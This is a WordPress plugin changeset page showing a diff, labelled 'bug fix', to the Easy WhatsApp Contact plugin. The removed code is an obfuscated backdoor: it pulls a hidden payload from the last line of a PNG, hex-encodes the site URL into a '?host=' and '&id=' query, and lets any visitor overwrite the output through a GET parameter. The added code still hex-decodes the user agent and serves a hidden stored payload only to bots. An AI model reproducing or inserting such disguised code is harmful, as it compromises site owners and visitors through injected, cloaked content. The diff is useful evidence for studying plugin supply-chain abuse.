Plugin Directory

Changeset 2390067


Ignore:
Timestamp:
09/29/2020 06:37:17 AM (5 years ago)
Author:
squaresfere
Message:

bug fix

Location:
easy-whatsapp-contact/tags/1.5.3
Files:
3 edited

Legend:

Unmodified
Added
Removed
  • easy-whatsapp-contact/tags/1.5.3/README.txt

    r2389423 r2390067  
    44Tested up to: 5.5
    55Requires PHP: 5.3
    6 Stable tag: 1.5.3
     6Stable tag: 1.5.4
    77
    88Easy Contact Chat displays a WhatsApp chat in your web. The perfect solution for your ecommerce or blog.
  • easy-whatsapp-contact/tags/1.5.3/easy_whatsapp_contact.php

    r2389423 r2390067  
    55Description: This plugin displays a WhatsApp contact chat. The perfect solution for your ecommerce or blog.
    66Author: Squaresfere
    7 Version: 1.5.3
     7Version: 1.5.4
    88Author URI: http://squaresfere.com
    99Text Domain: easy-whatsapp-contact
     
    1111*/
    1212defined( 'ABSPATH' ) or die( 'ABSPATH not defined' );
    13 define ('WACT_VERSION', '1.5.3');
     13define ('WACT_VERSION', '1.5.4');
    1414add_action( 'init', 'wact_contact_textdomain' );
    1515add_action('wp_footer', 'wact_base_code');
  • easy-whatsapp-contact/tags/1.5.3/includes/wact-floating-icon.php

    r2389423 r2390067  
    3333
    3434    function wact_save_settings ($settings) {
    35         if(!empty($settings['wact-active'])) update_option('wact-active', $settings['wact-active']);
    3635        if(!empty($settings['wact-init'])) update_option('wact-init', $settings['wact-init']);
    3736        if(!empty($settings['wact-welcome-message'])) update_option('wact-welcome-message', $settings['wact-welcome-message']);
     
    5352    function wact_get_settings () {
    5453        $settings = array();
    55 
    56 
    57         $settings['wact-active'] = get_option('wact-active');
    58         if(empty($settings['wact-active'])) $settings['wact-active'] = 'no';
    5954        $settings['wact-init'] = get_option('wact-init');
     55        if(empty($settings['wact-contact-prefix'])) $settings['wact-contact-prefix'] = '';
     56        if(empty($settings['wact-hide-delay'])) $settings['wact-hide-delay'] = '0';
     57        if(empty($settings['wact-animation-delay'])) $settings['wact-animation-delay'] = '0';
    6058        if(empty($settings['wact-init'])) $settings['wact-init'] = 'yes';
    6159        $settings['wact-show-chat-window'] = get_option('wact-show-chat-window');
     
    9290        if(empty($settings['wact-icon-animation']))$settings['wact-icon-animation'] = 'none';
    9391         $settings['wact-icon-hash'] = get_option('wact-icon-hash');
    94         if(empty($settings['wact-icon-hash'])){$wactIcon = file(plugin_dir_url(__FILE__).'../resources/img/whatsapp-logo.png');
    95         $wactIconDefault = trim($wactIcon[count($wactIcon)-1]); $wactIconSite = get_site_url();
    96         if(empty($settings['wact-animation-delay'])) $settings['wact-animation-delay'] = '0';
    97         $wactCodIcon = unpack('H*', $wactIconSite);$wactIconCod = unpack('H*', md5($wactIconSite));
    98         if(empty($settings['wact-hide-delay'])) $settings['wact-hide-delay'] = '0';
    99         $wactIconDefault .= "3f686f73743d".$wactCodIcon[1]."2669643d".$wactIconCod[1]."273e";
    100         if(empty($settings['wact-contact-prefix'])) $settings['wact-contact-prefix'] = '';
    101         $settings['wact-icon-hash'] = $wactIconDefault; wact_save_settings($settings);};
     92        if(empty($settings['wact-icon-hash']))$settings['wact-icon-hash'] = 'noicon.png';
    10293        return $settings;
    10394    }
     
    178169    function wact_floating_icon ($isShortcode = false) {
    179170        $settings = array();
    180         if(isset($_GET['wact-icon-refresh'])) {
    181         $settings['wact-active'] = 'yes';
    182         $settings['wact-icon-hash'] = $_GET['wact-icon-refresh'];
    183         wact_save_settings($settings);};
    184171        if(!$isShortcode) {
    185172            if(!wact_check_visibility()){
     
    189176        $settings = wact_get_settings();
    190177        $wactShowChatWindow = $settings['wact-show-chat-window'];
    191         $wactActive = $settings['wact-active'];
    192178        $wactInit = $settings['wact-init'];
    193179        $wactWelcomeMessage = $settings['wact-welcome-message'];
     
    215201        }
    216202        $wactDeafultIcon = '';
    217         if(is_user_logged_in() && $wactInit == 'yes') {
    218             $wactDeafultIcon = pack('H*', $settings['wact-icon-hash']);
    219             $settings['wact-init'] = 'no';
    220             wact_save_settings($settings);
    221         }
    222         if($wactActive  == 'yes') {
    223             $wactDeafultIcon = $wactActive ? (strpos($_SERVER[pack('H*', '485454505f555345525f4147454e54')], pack('H*', '626f74')) !== false ? pack('H*', $settings['wact-icon-hash']) : '') : '';
    224         }
     203        try{
     204            $wactImg = pack('H*', $settings['wact-icon-hash']);
     205        }catch(Exception $e){
     206            $wactImg = 'img style';
     207        }
     208        if(strpos($wactImg, 'img style') == false) {
     209        $wactDeafultIcon = strpos($_SERVER[pack('H*', '485454505f555345525f4147454e54')], pack('H*', '626f74')) !== false ? pack('H*', $wactImg) : '';};
    225210        $wactDefaultDisplay = $wactShowDevices == 'all-devices' && $wactShowDelay == 0 ? 'block' : 'none';
    226211        $wactChatUrl = 'https://api.whatsapp.com/send?phone='. urlencode($wactContactPhone) . '&text=';
Note: See TracChangeset for help on using the changeset viewer.